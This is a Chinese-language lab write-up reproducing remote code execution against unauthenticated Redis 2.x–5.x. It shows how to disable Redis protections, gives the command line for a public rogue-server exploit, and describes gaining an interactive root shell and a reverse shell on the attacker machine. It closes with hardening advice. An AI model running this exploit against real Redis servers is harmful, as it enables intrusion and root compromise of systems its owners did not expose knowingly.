Redis RCE 反弹shell 漏洞复现

1 Redis简介

Redis是一个开源的使用ANSI C语言编写、支持网络、科技与内存也可以持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis在默认情况下,会绑定6379这个端口,如果服务器没有采用限制IP访问或在防火墙做策略,就会将Redis服务暴露在公网上,并且在没有设置密码认证的情况下(既然有密码也可进行爆破),会导致用户未授权访问,可能导致,SSH远程登录,写入webshell,交互式shell,反弹shell等操作。

2 影响版本

Redis 2.x,3.x,4.x,5.x

3 环境搭建和漏洞复现

靶机系统:ubuntu 20.04 LTS  ip:192.168.210.209

攻击机:kali linux ip: 192.168.146.128

3.1 安装Redis

使用下面的命令安装redis,我这里使用apt直接安装,安装的版本是5.0.7.

sudo apt install redis

Redis RCE 反弹shell 漏洞复现_第1张图片

3.2 修改redis.conf文件

我这里就是修改/etc/redis/redis.conf文件,首先关闭redis保护模式,将protected-mode修改为no,

然后修改bind,绑定到0.0.0.0

这里需要注意的是,bind不是绑定外部服务器,二十绑定本机可以接受连接的网卡地址,默认绑定127.0.0.1,只能够本地访问,改动后服务器上任意网卡地址都可以访问。

3.3 启动redis服务

sudo /usr/bin/redis-server /etc/redis/redis.conf

3.4 exp

我们这里使用github上的一个exp,链接地址如下:

https://github.com/n0b0dyCN/redis-rogue-server

用法:

python redis-rogue-server.py --rhost 127.0.0.1 --rport 6379 --lhost 127.0.0.1 --exp exp.so
  • rhost:这里是远程redis服务所在的地址
  • rport为redis服务端口,
  • lhost:本地地址
  • exp:而已so文件

 

Redis RCE 反弹shell 漏洞复现_第2张图片

这里可以看到,这里的redis确实有漏洞,我们可以获取一个实时的shell或者获取反弹shell。我们在这里先获取一个实时的shell,只需要输入i即可。

Redis RCE 反弹shell 漏洞复现_第3张图片

我们这杨就获取到了root权限的shell,接下来尝试获取反弹shell。

我们看到在这里输入反弹ip和端口后,就可以反弹shell到我们的攻击机上,同样获取到的是root权限。

Redis RCE 反弹shell 漏洞复现_第4张图片

4 建议

  1. 限制登录IP,不要修改bind 为0.0.0.0.
  2. 添加密码访问。
  3. 打开redis保护模式。
  4. 修改默认端口。

 

 

 

 

 

你可能感兴趣的:(漏洞分析与复现)